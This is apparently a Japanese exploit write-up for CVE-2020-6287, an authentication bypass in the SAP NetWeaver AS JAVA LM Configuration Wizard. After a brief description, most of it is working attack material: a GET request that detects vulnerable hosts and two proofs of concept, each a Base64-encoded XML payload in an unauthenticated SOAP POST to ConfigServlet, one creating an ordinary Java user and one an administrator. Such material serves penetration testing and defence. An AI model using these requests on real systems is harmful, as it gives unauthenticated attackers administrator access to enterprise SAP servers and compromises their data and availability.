[CVE-2020-6287] SAP NetWeaver AS JAVA（LM Configuration Wizard）認証バイパス（シンプルなJavaユーザーと管理者Javaユーザーの作成）

SAP NetWeaverは、SAPの統合テクノロジープラットフォームであり、SAP Business Suite以降のすべてのSAPアプリケーションの技術基盤です。SAP NetWeaverは、サービス指向のアプリケーションおよび統合プラットフォームであり、SAPアプリケーションの開発・実行環境を提供します。また、カスタム開発や他のアプリケーション・システムとの統合にも使用できます。SAP NetWeaver AS JAVA（LM Configuration Wizard）バージョン7.30, 7.31, 7.40, 7.50は認証チェックを実行しないため、事前認証を受けていない攻撃者が設定タスクを実行してSAP Javaシステムに対して重大な操作（管理ユーザーの作成など）を行うことが可能になり、その結果、システムの機密性、完全性、可用性が損なわれ、認証チェックの欠如につながります。

CVE-2020-6287を確認するには： GET /CTCWebService/CTCWebServiceBean?wsdl
シンプルなJavaユーザーを作成するには：概念実証（PoC）1を参照
管理者Javaユーザーを作成するには：概念実証（PoC）2を参照
安全に概念実証を行うには：CVE-2020-6286リポジトリを確認してください

概念実証（PoC）1：シンプルなJavaユーザーの作成

ペイロード

<root>
    <user>
        <JavaOrABAP>java</JavaOrABAP>
        <username>pentestuser</username>
        <password>v3rystr0ngp@ssw0rd</password>
        <userType></userType>
    </user>
</root>

上記のペイロードをBase64にエンコードし、以下のリクエストの<BASE64_ENCODED_PAYLOAD_HERE>フィールドに挿入してください

POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>

概念実証（PoC）2：管理者Javaユーザーの作成

ペイロード

<PCK>
    <Usermanagement>
        <SAP_XI_PCK_CONFIG>
            <roleName>Administrator</roleName>
        </SAP_XI_PCK_CONFIG>
        <SAP_XI_PCK_COMMUNICATION>
            <roleName>ThisIsRnd9326</roleName>
        </SAP_XI_PCK_COMMUNICATION>
        <SAP_XI_PCK_MONITOR>
            <roleName>ThisIsRnd5031</roleName>
        </SAP_XI_PCK_MONITOR>
        <SAP_XI_PCK_ADMIN>
            <roleName>ThisIsRnd9846</roleName>
        </SAP_XI_PCK_ADMIN>
        <PCKUser>
            <userName secure="true">pentestuser</userName>
            <password secure="true">v3rystr0ngp@ssw0rd</password>
        </PCKUser>
        <PCKReceiver>
            <userName>ThisIsRnd6461</userName>
            <password secure="true">ThisIsRnd5525</password>
        </PCKReceiver>
        <PCKMonitor>
            <userName>ThisIsRnd9457</userName>
            <password secure="true">ThisIsRnd9037</password>
        </PCKMonitor>
        <PCKAdmin>
            <userName>ThisIsRnd8386</userName>
            <password secure="true">ThisIsRnd8477</password>
        </PCKAdmin>
    </Usermanagement>
</PCK>

上記のペイロードをBase64にエンコードし、以下のリクエストの<BASE64_ENCODED_PAYLOAD_HERE>フィールドに挿入してください

POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>

CVE-2020-6287

人気